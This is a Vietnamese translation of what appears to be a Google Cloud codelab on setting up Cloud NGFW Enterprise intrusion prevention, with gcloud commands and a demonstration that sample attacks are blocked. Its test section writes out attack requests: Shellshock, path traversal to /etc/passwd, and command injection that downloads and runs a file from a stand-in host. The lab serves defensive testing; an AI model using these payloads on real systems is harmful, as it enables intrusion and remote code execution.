Cloud NGFW Enterprise – Dịch vụ ngăn chặn xâm nhập (không có kiểm tra TLS)

1. Giới thiệu

Tường lửa thế hệ tiếp theo của Cloud (NGFW)

Cloud Next Generation Firewall là một dịch vụ tường lửa được phân phối đầy đủ, có các chức năng bảo vệ nâng cao, khả năng phân đoạn vi mô và phạm vi bao phủ để bảo vệ tải công việc của bạn trên Google Cloud khỏi các cuộc tấn công nội bộ lẫn bên ngoài.

Cloud NGFW có các lợi ích sau:

  • Dịch vụ tường lửa phân tán: Cloud NGFW cung cấp một cơ chế thực thi dựa trên máy chủ lưu trữ được phân phối đầy đủ và có trạng thái trên từng tải công việc để hỗ trợ kiến trúc bảo mật không tin tưởng bất cứ điều gì (zero-trust).
  • Cấu hình và triển khai được đơn giản hoá: Cloud NGFW triển khai các chính sách tường lửa mạng và phân cấp có thể đính kèm được vào một nút phân cấp tài nguyên. Các chính sách này mang đến trải nghiệm tường lửa nhất quán trên hệ thống phân cấp tài nguyên của Google Cloud.
  • Kiểm soát chi tiết và phân đoạn vi mô: Sự kết hợp giữa chính sách tường lửa với Thẻ quản lý danh tính và quyền truy cập (IAM) giúp kiểm soát hiệu quả đối với cả lưu lượng truy cập từ Bắc Nam đến Đông Tây qua một máy ảo duy nhất trên các mạng và tổ chức của Đám mây riêng tư ảo (VPC).

Cloud NGFW có các cấp sau:

Cloud NGFW Enterprise

Cloud NGFW Enterprise bổ sung Dịch vụ ngăn chặn xâm nhập (IPS), đây là chức năng của Lớp 7, vào cấu trúc Tường lửa của Google Cloud được phân phối. Yêu cầu kiểm tra TLS được hỗ trợ để cho phép kiểm tra lưu lượng truy cập được mã hoá TLS, nhưng lại nằm ngoài phạm vi của lớp học lập trình này (xem Lớp học lập trình Cloud NGFW Enterprise với tính năng Kiểm tra TLS).

Giờ đây, bạn có thể triển khai các yêu cầu kiểm tra đáng tin cậy về Tường lửa thế hệ tiếp theo (NGFW) của Lớp 7 bằng các biện pháp kiểm soát chi tiết mà không cần thực hiện bất kỳ thay đổi nào đối với cấu trúc mạng hoặc cấu hình định tuyến.

Để kích hoạt và triển khai tính năng kiểm soát tường lửa Lớp 7 bằng IPS, bạn cần thực hiện các tác vụ sau:

  • Tạo một tập hợp các điểm cuối tường lửa theo vùng do Google Cloud quản lý.
  • Tạo một Chính sách kiểm tra TLS (không có trong lớp học lập trình này) nếu muốn
  • Tạo một Cấu hình tin cậy (không có trong lớp học lập trình này) nếu muốn
  • Liên kết các thiết bị đầu cuối này với mạng đám mây riêng ảo (VPC) mà bạn cần dùng dịch vụ Cloud NGFW Enterprise.
  • Thực hiện các thay đổi đơn giản đối với chính sách tường lửa và quy tắc tường lửa hiện tại để chỉ định hồ sơ ngăn chặn mối đe doạ cho nhiều đường dẫn lưu lượng truy cập.

Chính sách về tường lửa mạng

Chính sách tường lửa mạng hoạt động như một vùng chứa cho các quy tắc tường lửa. Các quy tắc được xác định trong chính sách tường lửa mạng không được thực thi ở bất cứ đâu cho đến khi chính sách này được liên kết với một mạng VPC. Mỗi mạng VPC có thể được liên kết với một chính sách tường lửa mạng. Chính sách tường lửa mạng hỗ trợ Thẻ do IAM quản lý (hoặc chỉ Thẻ) trong các quy tắc về tường lửa. Các quy tắc này thay thế các thẻ mạng hiện tại và có thể dùng để cung cấp thông tin nhận dạng cho khối lượng công việc.

Việc chia sẻ chính sách tường lửa mạng giữa các mạng và việc tích hợp với Thẻ do IAM quản lý giúp đơn giản hoá đáng kể việc định cấu hình và quản lý tường lửa.

Cùng với sự ra mắt của chính sách về tường lửa mạng, các chính sách về tường lửa của Google Cloud giờ đây bao gồm các thành phần sau:

  1. Chính sách về tường lửa phân cấp
  2. Quy tắc về tường lửa của VPC
  3. Chính sách về tường lửa mạng ( Toàn cầuKhu vực)

Chính sách tường lửa phân cấp được hỗ trợ tại nút tổ chức và nút thư mục trong hệ thống phân cấp tài nguyên, trong khi các quy tắc về tường lửa của VPC và chính sách về tường lửa mạng được áp dụng ở cấp VPC. Một điểm khác biệt lớn giữa các quy tắc về tường lửa của VPC và chính sách về tường lửa của VPC là các quy tắc về tường lửa của VPC chỉ có thể được áp dụng cho một mạng VPC, trong khi các chính sách về tường lửa mạng có thể được gắn vào một VPC hoặc một nhóm VPC, bên cạnh những lợi ích khác như việc cập nhật theo lô.

Cuối cùng, chúng tôi cũng có các quy tắc ngụ ý về tường lửa đi kèm với mọi mạng VPC:

  • Một quy tắc đầu ra có tác vụ là allow, đích đến là 0.0.0.0/0
  • Một quy tắc nhập vào có hành động bị từ chối, nguồn là 0.0.0.0/0

Theo mặc định, trình tự thực thi được thể hiện trong sơ đồ sau đây:

21b3bcabc469ffe.png.

Xin lưu ý rằng thứ tự thực thi giữa các quy tắc về tường lửa của VPC và chính sách về tường lửa cho mạng toàn cầu có thể được hoán đổi. Khách hàng có thể chỉ định lệnh thực thi bất cứ lúc nào bằng lệnh gcloud.

Thẻ do IAM quản lý

Thẻ mới được tích hợp trong quy tắc chính sách về tường lửa mạng là tài nguyên cặp khoá-giá trị được xác định ở tổ chức hoặc cấp dự án trong hệ thống phân cấp tài nguyên Google Cloud. Như chính tên gọi, một Thẻ như vậy chứa chức năng kiểm soát quyền truy cập IAM để xác định ai có thể làm gì trên thẻ. Ví dụ: quyền IAM cho phép chỉ định những thành phần chính có thể gán giá trị cho các thẻ và thành phần chính nào có thể đính kèm thẻ vào tài nguyên. Sau khi áp dụng Thẻ cho một tài nguyên, các quy tắc tường lửa mạng có thể dùng thẻ đó để cho phép và từ chối lưu lượng truy cập.

Thẻ tuân thủ mô hình tài nguyên kế thừa của Google Cloud, tức là thẻ và giá trị của thẻ được chuyển từ thành phần mẹ sang hệ phân cấp. Do đó, các thẻ có thể được tạo ở một nơi, sau đó được các thư mục và dự án khác sử dụng trong toàn bộ hệ thống phân cấp tài nguyên. Hãy truy cập vào trang này để biết thông tin chi tiết về thẻ và quy định hạn chế về quyền truy cập.

Không nên nhầm lẫn thẻ với thẻ mạng. Chính sách sau là các chuỗi có thể thêm vào các phiên bản Compute Engine; chúng được liên kết với thực thể đó và biến mất khi thực thể đó ngừng hoạt động. Các quy tắc tường lửa của VPC có thể bao gồm thẻ mạng, nhưng vì không được xem là tài nguyên đám mây nên không phải tuân theo chế độ kiểm soát quyền truy cập IAM.

Xin lưu ý rằng Thẻ và Thẻ được quản lý qua IAM đang được sử dụng thay thế cho nhau trong tài liệu này.

Sản phẩm bạn sẽ tạo ra

Lớp học lập trình này yêu cầu một dự án duy nhất và khả năng tạo mạng lưới VPC có khả năng kết nối công khai. Lớp học lập trình này sẽ minh hoạ cách Cloud NGFW Enterprise có thể cung cấp chức năng IPS bằng cách:

  • Kiểm tra luồng nội bộ VPC/mạng con [Đông-Tây]
  • Kiểm tra luồng vào từ Internet [Bắc-Nam]

Các quy trình cần kiểm tra sẽ được chọn bằng các tham số so khớp của Cloud Firewall, bao gồm 5-tuple (IP nguồn, IP đích, giao thức, cổng nguồn, cổng đích) và Thẻ. Quy trình Kiểm tra TLS không có trong lớp học lập trình này.

52a0642ef8668ecf.png.

Cơ sở quy tắc chính sách tường lửa mạng sẽ tương tự như bảng dưới đây:

Mức độ ưu tiên

Hướng dẫn

Target

Nguồn

Đích đến

Hành động

Loại

100

Lưu lượng ra

Quarantine_Tag

Bất kỳ

Bất kỳ

Từ chối

Essentials

1000

Lưu lượng vào

Server_Tag

Phạm vi kiểm tra tình trạng

Bất kỳ

Cho phép

Essentials

2000

Lưu lượng vào

Bất kỳ

Phạm vi proxy nhận biết danh tính

Bất kỳ

Cho phép

Essentials

3000

Lưu lượng vào

Bất kỳ

Địa lý, GCTI

Bất kỳ

Từ chối

Tiêu chuẩn

4000

Lưu lượng ra

Bất kỳ

Bất kỳ

Địa lý, GCTI

Từ chối

Tiêu chuẩn

5000

Lưu lượng ra

Bất kỳ

Bất kỳ

FQDN cập nhật hệ thống

Cho phép

Tiêu chuẩn

6000

Lưu lượng vào

Server_Tag

10.0.0.0/24

Bất kỳ

IPS

Doanh nghiệp

7000

Lưu lượng vào

Server_Tag

CloudNAT_IP

Bất kỳ

IPS

Doanh nghiệp

Kiến thức bạn sẽ học được

Bạn cần có

  • Dự án Google Cloud
  • Có kiến thức về cách triển khai thực thể và định cấu hình thành phần mạng
  • Kiến thức về cấu hình tường lửa VPC

2. Trước khi bắt đầu

Tạo/cập nhật biến

Lớp học lập trình này sử dụng $variables để hỗ trợ việc triển khai cấu hình gcloud trong Cloud Shell.

Trong Cloud Shell, hãy chạy các lệnh bên dưới để thay thế thông tin trong dấu ngoặc theo yêu cầu (bỏ qua bước thiết lập dự án nếu bạn đã đặt dự án mong muốn). Một biến khác sẽ được sử dụng cho các tài nguyên cấp tổ chức nếu có nhiều biến, ví dụ: cần có điểm cuối tường lửa.

gcloud config set project [project-id]

export project_id=$(gcloud config list --format="value(core.project)")
export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 )
export region=[region]
export zone=[zone]
export prefix=cloudngfw
export org_prefix=cloudngfw
export billing_project_id=[project-id]

3. Bật API

Bật các API nếu bạn chưa thực hiện việc này:

gcloud services enable compute.googleapis.com
gcloud services enable networksecurity.googleapis.com
gcloud services enable certificatemanager.googleapis.com
gcloud services enable networkservices.googleapis.com
gcloud services enable privateca.googleapis.com

4. Tạo thiết bị đầu cuối và hồ sơ bảo mật dành cho doanh nghiệp của Cloud NGFW

Vì quá trình tạo Cloud NGFW Enterprise Endpoint mất khoảng 20 phút, nên việc tạo thiết bị đầu cuối này sẽ được tạo trước, và bạn có thể thiết lập cơ sở song song trong khi tạo điểm cuối.

Tạo Nhóm Hồ sơ bảo mật và Hồ sơ bảo mật:

gcloud network-security security-profiles threat-prevention \
  create $org_prefix-sp-threat \
  --organization $org_id \
  --location=global

gcloud network-security security-profile-groups create \
  $org_prefix-spg \
  --organization $org_id \
  --location=global \
  --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat

Kết quả đầu ra dự kiến:

Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat] to be created...done.

Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to com
plete...done.                                                                                                                                 
Created security profile group [$org_prefix-spg].

Xác nhận rằng các tài nguyên đã được tạo thành công:

gcloud network-security security-profiles threat-prevention \
  list --location=global --organization $org_id

gcloud network-security security-profile-groups list \
  --organization $org_id --location=global

Kết quả đầu ra dự kiến:

NAME: cloudngfw-sp-threat
NAME: cloudngfw-spg

Tạo điểm cuối Cloud NGFW Enterprise:

gcloud network-security firewall-endpoints create $org_prefix-$zone \
  --zone=$zone --organization $org_id \
  --billing-project $billing_project_id

Chạy lệnh dưới đây để xác nhận rằng điểm cuối đang được tạo (STATE: CREATING).

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Kết quả dự kiến (lưu ý rằng định dạng đầu ra có thể thay đổi tuỳ theo ứng dụng đang dùng):

ID: cloudngfw-[zone]
LOCATION: [zone]
STATE: CREATING

Nếu muốn, hãy chạy lệnh bên dưới để biết thêm chi tiết:

gcloud network-security firewall-endpoints describe \
  $org_prefix-$zone --organization $org_id --zone $zone

Kết quả đầu ra dự kiến:

createTime: '2023-04-25T18:08:45.493499362Z'
name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone]
state: CREATING
updateTime: '2023-04-25T18:08:45.493499362Z'

Quá trình tạo điểm cuối mất khoảng 20 phút. Chuyển đến phần Thiết lập cơ sở để tạo song song các tài nguyên cần thiết.

5. Thiết lập cơ bản

Tiếp tục thực hiện các phần sau nếu bạn muốn tạo tài nguyên cơ sở theo cách thủ công.

Mạng VPC và mạng con

Mạng VPC và mạng con

Tạo mạng VPC và mạng con:

gcloud compute networks create $prefix-vpc --subnet-mode=custom 

gcloud compute networks subnets create $prefix-$region-subnet \
   --range=10.0.0.0/24 --network=$prefix-vpc --region=$region

NAT của đám mây

Tạo Bộ định tuyến đám mây và cổng NAT trên đám mây:

gcloud compute addresses create $prefix-$region-cloudnatip --region=$region

export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)")

gcloud compute routers create $prefix-cr \
  --region=$region --network=$prefix-vpc

gcloud compute routers nats create $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=$prefix-$region-cloudnatip

Trạng thái

Tạo thực thể máy khách và máy chủ web:

gcloud compute instances create $prefix-$zone-www \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2 tcpdump iperf3 -y
a2ensite default-ssl
a2enmod ssl
# Read VM network configuration:
md_vm="http://169.254.169.254/computeMetadata/v1/instance/"
vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )"
filter="{print \$NF}"
vm_network="$(curl $md_vm/network-interfaces/0/network \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
vm_zone="$(curl $md_vm/zone \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
# Apache configuration:
echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \
tee /var/www/html/index.html
systemctl restart apache2'

gcloud compute instances create $prefix-$zone-client \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --scopes=compute-ro \
   --metadata startup-script='#! /bin/bash
        apt-get update
        apt-get install apache2-utils iperf3 tcpdump -y'

Các thẻ cấp độ hoạt động

Chỉ định quyền tagAdmin và/hoặc tagUser cho người dùng nếu cần:

export user_id=$(gcloud auth list --format="value(account)")

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagUser

Tạo khoá và giá trị Thẻ ở cấp dự án:

gcloud resource-manager tags keys create $prefix-vpc-tags \
   --parent projects/$project_id \
   --purpose GCE_FIREWALL \
   --purpose-data network=$project_id/$prefix-vpc

gcloud resource-manager tags values create $prefix-vpc-client \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-server \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-quarantine \
   --parent=$project_id/$prefix-vpc-tags

Liên kết thẻ với các thực thể:

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client

Chính sách về tường lửa của mạng toàn cầu

Tạo chính sách tường lửa cho mạng toàn cầu:

gcloud compute network-firewall-policies create \
   $prefix-fwpolicy --description \
   "Cloud NGFW Enterprise" --global

Tạo các quy tắc quan trọng cho tường lửa trên đám mây để từ chối lưu lượng truy cập từ các thực thể bị cách ly (chỉ được tạo để làm ví dụ, không dùng trong lớp học lập trình này) và cho phép lưu lượng truy cập qua các phạm vi kiểm tra tình trạngproxy nhận biết danh tính:

gcloud compute network-firewall-policies rules create 100 \
        --description="block quarantined workloads" \
        --action=deny \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=all \
        --direction=EGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine \
        --dest-ip-ranges=0.0.0.0/0

gcloud compute network-firewall-policies rules create 1000 \
        --description="allow http traffic from health-checks ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22

gcloud compute network-firewall-policies rules create 2000 \
        --description="allow ssh traffic from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
        --src-ip-ranges=35.235.240.0/20

Tạo các quy tắc Tiêu chuẩn tường lửa trên đám mây để từ chối lưu lượng truy cập vào và ra từ/đến các quốc gia bị cấm vận, các IP độc hại đã biết và các nút thoát ToR; và chỉ cho phép lưu lượng ra đến các FQDN cụ thể để cập nhật hệ thống (chỉ được tạo để làm ví dụ, không được dùng trong lớp học lập trình này):

gcloud compute network-firewall-policies rules create 3000 \
        --description="block ingress traffic from sanctioned countries, known malicious IPs and ToR exit nodes" \
        --action=deny \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=all \
        --direction=INGRESS \
        --src-region-codes CU,IR,KP,SY,XC,XD \
        --src-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips

gcloud compute network-firewall-policies rules create 4000 \
        --description="block egress traffic from sactioned countries, known malicious IPs and ToR exit nodes" \
        --action=deny \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=all \
        --direction=EGRESS \
        --dest-region-codes CU,IR,KP,SY,XC,XD \
        --dest-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips

gcloud compute network-firewall-policies rules create 5000 \
        --description "allow system updates" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=EGRESS \
--dest-fqdns=ftp.us.debian.org,debian.map.fastly.net,packages.cloud.google.com,www3.l.google.com

Tạo các quy tắc Tường lửa trên đám mây để cho phép lưu lượng truy cập theo hướng đông tây / nội mạng và lưu lượng truy cập từ Bắc vào Nam / Internet từ các phạm vi cụ thể (các quy tắc này sẽ được cập nhật để bật Cloud NGFW Enterprise):

gcloud compute network-firewall-policies rules create 6000 \
        --description "allow ingress internal traffic from clients" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=INGRESS \
        --enable-logging \
        --layer4-configs all \
        --src-ip-ranges=10.0.0.0/24 \
          --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud compute network-firewall-policies rules create 7000 \
        --description "allow ingress external traffic to server" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --enable-logging \
        --src-ip-ranges=$cloudnatip \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

Liên kết chính sách tường lửa mạng với mạng VPC:

gcloud compute network-firewall-policies associations create \
        --firewall-policy $prefix-fwpolicy \
        --network $prefix-vpc \
        --name $prefix-fwpolicy-association \
        --global-firewall-policy

Trình cân bằng tải mạng TCP/UDP bên ngoài

Đặt trước một địa chỉ IP bên ngoài, tạo nhóm thực thể và quy trình kiểm tra tình trạng:

gcloud compute addresses create $prefix-$region-nlbip --region=$region

gcloud compute instance-groups unmanaged create $prefix-ig \
    --zone $zone

gcloud compute instance-groups unmanaged add-instances $prefix-ig \
   --instances $prefix-$zone-www --zone $zone

gcloud compute health-checks create http $prefix-$region-hc-http80 \
   --region $region --port 80

Tạo dịch vụ phụ trợ và quy tắc chuyển tiếp:

gcloud compute backend-services create $prefix-nlb-bes \
    --protocol TCP \
    --health-checks $prefix-$region-hc-http80 \
    --health-checks-region $region \
    --region $region

gcloud compute backend-services add-backend $prefix-nlb-bes \
    --instance-group $prefix-ig \
    --instance-group-zone $zone \
    --region $region

gcloud compute forwarding-rules create $prefix-nlb-ipv4 \
  --load-balancing-scheme EXTERNAL \
  --region $region \
  --ports 80 \
  --address $prefix-$region-nlbip \
  --backend-service $prefix-nlb-bes

6. Hiệp hội thiết bị đầu cuối dành cho doanh nghiệp của Cloud NGFW

Xác định lại các biến môi trường nếu cần.

Xác nhận rằng quá trình tạo Thiết bị đầu cuối tường lửa trên đám mây đã hoàn tất. Chỉ tiếp tục khi trạng thái được hiển thị là HOẠT ĐỘNG (trong quá trình tạo, trạng thái dự kiến là ĐANG SÁNG TẠO):

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Kết quả dự kiến (lưu ý rằng định dạng đầu ra có thể thay đổi tuỳ theo ứng dụng đang dùng):

ID: cloudngfw-[zone]
LOCATION: [zone]
STATE: ACTIVE

Nếu muốn, hãy chạy lệnh bên dưới để biết thêm chi tiết:

gcloud network-security firewall-endpoints describe \
  $org_prefix-$zone --organization $org_id --zone $zone

Kết quả đầu ra dự kiến:

createTime: '2023-04-25T18:08:45.493499362Z'
name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone]
state: ACTIVE
updateTime: '2023-04-25T18:29:40.840608100Z'

Liên kết điểm cuối Cloud NGFW Enterprise với mạng VPC:

gcloud network-security firewall-endpoint-associations create \
  $prefix-association --zone $zone \
  --network=$prefix-vpc --endpoint $org_prefix-$zone \
  --organization $org_id

Quá trình liên kết sẽ mất khoảng 10 phút. Chỉ tiếp tục khi trạng thái được hiển thị là ACTIVE (trạng thái dự kiến là CREATING trong quá trình tạo):

gcloud network-security firewall-endpoint-associations list

Kết quả đầu ra dự kiến:

ID: cloudngfw-association
LOCATION: [zone]
NETWORK: cloudngfw-vpc
ENDPOINT: cloudngfw-[zone]
STATE: ACTIVE

Nếu muốn, hãy chạy lệnh bên dưới để biết thêm chi tiết:

gcloud network-security firewall-endpoint-associations \
  describe $prefix-association --zone $zone

Kết quả đầu ra dự kiến:

createTime: '2023-05-01T22:25:06.218544436Z'
firewallEndpoint: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone]
name: projects/[project-id]/locations/[zone]/firewallEndpointAssociations/cloudngfw-association
network: projects/[project-id]/global/networks/cloudngfw-vpc
state: ACTIVE
updateTime: '2023-05-01T22:33:06.467596536Z'

7. Quy tắc kiểm tra Cloud NGFW Enterprise

Mở thẻ mới và bắt đầu kết nối SSH với máy ảo máy khách thông qua IAP (bạn sẽ cần xác định lại các biến trong thẻ mới):

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Xác định các biến yêu cầu trong phiên SSH và đặt các biến (đảm bảo rằng các giá trị là chính xác):

export region=[region]
export zone=[zone]
export prefix=cloudngfw

export target_privateip=$(gcloud compute instances list --filter=name:$prefix-$zone-www --format="value(networkInterfaces.networkIP)")

export target_nlbip=$(gcloud compute addresses list --filter=name:$prefix-$region-nlbip --format="value(address)")

cuộn cả hai IP để xác nhận rằng chúng có thể truy cập được:

curl $target_privateip --max-time 2

curl $target_nlbip --max-time 2

Kết quả dự kiến cho cả hai yêu cầu curl:

Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone]

Gửi các cuộc tấn công mẫu tới IP máy chủ nội bộ (lưu lượng truy cập Đông Tây / Nội bộ VPC). Máy chủ web cần phản hồi tất cả các yêu cầu, xác nhận rằng không có yêu cầu kiểm tra/ngăn chặn L7 nào:

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3

curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

Gửi lại các cuộc tấn công mẫu đến IP máy chủ bên ngoài thông qua Cloud NAT (lưu lượng truy cập đến từ Bắc-Nam). Tương tự, máy chủ web sẽ phản hồi tất cả các yêu cầu:

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3

curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

Kết quả dự kiến cho cả IP công khai và riêng tư:

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address>
</body></html>
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address>
</body></html>
Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone]
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address>
</body></html>

Chuyển về Cloud Shell và cập nhật các quy tắc nhập dữ liệu hiện có để bật tính năng kiểm tra L7:

gcloud compute network-firewall-policies rules update 6000 \
   --action=apply_security_profile_group \
   --firewall-policy=$prefix-fwpolicy \
   --enable-logging \
   --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg

gcloud compute network-firewall-policies rules update 7000 \
   --action=apply_security_profile_group \
   --firewall-policy=$prefix-fwpolicy \
   --enable-logging \
   --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg

(Không bắt buộc) Mô tả các quy tắc về tường lửa để xác minh rằng cả hai đều được cập nhật thành công:

gcloud compute network-firewall-policies rules describe 6000 \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy

Kết quả đầu ra dự kiến:

---
action: apply_security_profile_group
description: allow ingress internal traffic from tagged clients
direction: INGRESS
disabled: false
enableLogging: true
kind: compute#firewallPolicyRule
match:
  layer4Configs:
  - ipProtocol: all
  srcIpRanges:
  - 10.0.0.0/24
priority: 800
ruleTupleCount: 4
securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg
targetSecureTags:
- name: tagValues/281484362719839
  state: EFFECTIVE

Quy tắc 7000:

gcloud compute network-firewall-policies rules describe 7000 \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy

Kết quả đầu ra dự kiến:

---
action: apply_security_profile_group
description: allow ingress external traffic to server
direction: INGRESS
disabled: false
enableLogging: true
kind: compute#firewallPolicyRule
match:
  layer4Configs:
  - ipProtocol: tcp
    ports:
    - '80'
  - ipProtocol: tcp
    ports:
    - '443'
  srcIpRanges:
  - [cloudnat-ip]
priority: 900
ruleTupleCount: 6
securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg
targetSecureTags:
- name: tagValues/281484362719839
  state: EFFECTIVE

Chuyển về máy ảo máy khách rồi gửi lại các cuộc tấn công mẫu đến IP máy chủ nội bộ (kiểm tra Đông Tây / Nội bộ VPC):

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3

curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

Gửi lại các cuộc tấn công mẫu đến IP máy chủ bên ngoài thông qua Cloud NAT (kiểm tra thư đến từ Bắc-Nam):

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3

curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

Theo kết quả dự kiến dưới đây, không nhận được phản hồi nào cho các cuộc tấn công đầu tiên, xác nhận rằng các cuộc tấn công có mức độ nghiêm trọng cao hiện đã bị chặn.

curl: (56) Recv failure: Connection reset by peer
curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received
curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address>
</body></html>

Chuyển đến phần Bảo mật mạng > Các mối đe doạ trên Bảng điều khiển Cloud đối với việc xác minh nhật ký (bạn có thể phải làm mới vài lần nếu hiện trạng thái tấn công chưa xuất hiện).

daa535fcc34873aa.png

Chọn một cách tấn công rồi nhấp vào "Xem nhật ký kiểm tra" ở phía bên phải (mở trong thẻ mới để dễ dàng chuyển lại). Mở rộng cuộc tấn công để hiện chi tiết:

5f97cdef79e42eff.pngs

Nếu muốn, hãy thay thế bộ lọc Trình khám phá nhật ký bằng truy vấn dưới đây:

resource.type="networksecurity.googleapis.com/FirewallEndpoint"

Bạn cần xem các mục trong nhật ký mối đe doạ như sau:

5ea9581a7eb694c5.png.

